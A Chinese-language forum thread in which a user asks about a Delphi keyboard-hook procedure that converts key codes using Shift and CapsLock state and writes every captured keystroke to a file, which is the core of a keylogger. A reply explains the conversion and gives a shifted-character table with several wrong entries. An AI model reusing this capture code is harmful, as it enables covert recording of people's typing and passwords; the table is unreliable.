下面這段程式是我從網上找到的,有幾處不明白的地方,請教一下
function KeyboardHookHandler(iCode : Integer;WParam : WPARAM;lParam :
LPARAM) : LRESULT ;stdcall ; export;
const
_KeyPressMask = $80000000 ;
{ 這裡是定義了一個常量,我看了看,主要是看最高位,進面得到鍵是按下還是
彈起 }
begin
Result :=0;
if iCode <0 then
begin
Result :=CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
Exit;
end;
{ 這裡是判斷是否有鍵按下 }
if((lParam and _KeyPressMask)=0) then
begin
i:=getkeystate($10); //返回Shift鍵的狀態
j:=getkeystate($14); //返回Caps Lock鍵的狀態
{ 下面這麼判斷不明白 }
if((j and 1)=1 )then //判斷CapsLock是否按下
begin
//判斷Shift 是否按下
{ getKeyState 這個函數的傳回值的最高位 為 1 ,則表示按下,所以下面
這樣判斷 }
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
{ 這裡明白 }
if (wparam<65) then //判斷是字母鍵還是數字鍵
begin
{ 這裡不明白為什麼要 減 16 chr 不是得到的是 ASCII 碼嗎,wparam
已經是 ASCII 碼了,為什麼還要取得ASCII 碼呢 }
c:=chr(wparam-16);
end else
begin
{ 同樣,這裡為什麼要加 32 }
c:= chr(wparam+32);
end;
end else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end else
begin
c:=chr(wparam);
end;
end;
end else
begin
{ 這裡是彈起的情況下 }
if ((i and _KeyPressMask)=_KeyPressMask) then
begin
if (wparam<65) then
begin
c:=chr(wparam-16);
end else
begin
c:= chr(wparam);
end;
end else
begin
if (wparam<65) then
begin
c:=chr(wparam);
end else
begin
c:=chr(wparam+32);
end;
end;
end;
seek(f,FileSize(f));
write(f,c); //將捕獲的鍵碼存入檔案
end
謝謝您了,我為要還是不明白為什麼要減 16 或 加 32 或什麼也不加不減 ,還請多
多指點
你好,由於wParam參數所傳遞的是虛擬索引值,所以在有CapsLock或Shift按下時需要進行
相應的轉換:
1.虛擬索引值65~90(A~Z)之間時,需要根據CapsLock及Shift狀態確定是否轉換成小寫
a~z.(即加32).
2.在Shift與某些鍵組合時,可能需要轉換成輔助字元,例如按下Shift及"1"健,則需轉
換成"!".
注:你所找到的代碼並不完全正確,只有上面第一點是有規律的,第二點的轉換應該是
無規律的,你代碼中的減16演算法,應該是錯誤的. 由下面的對應關係可以看出.所以要寫
代碼進行轉換的話,只能對WParam值逐個比較,需要轉換的基本上就是下面這些了.
'1'--49--'!'--33
'2'--50--'@'--64
'3'--51--'#'--35
'4'--52--'$'--36
'5'--53--'%'--37
'6'--54--'^'--94
'7'--55--'&'--38
'8'--56--'*'--42
'9'--57--'('--40
'-'--45--'_'--95
'='--62--'+'--43
'/'--92--'|'--124
'['--91--'{'--123
']'--93--'}'--125
';'--59--':'--58
'''--39--'"'--34
','--44--'<'--60
'.'--46--''--62
'/'--47--'?'--63
'`'--96--'~'--126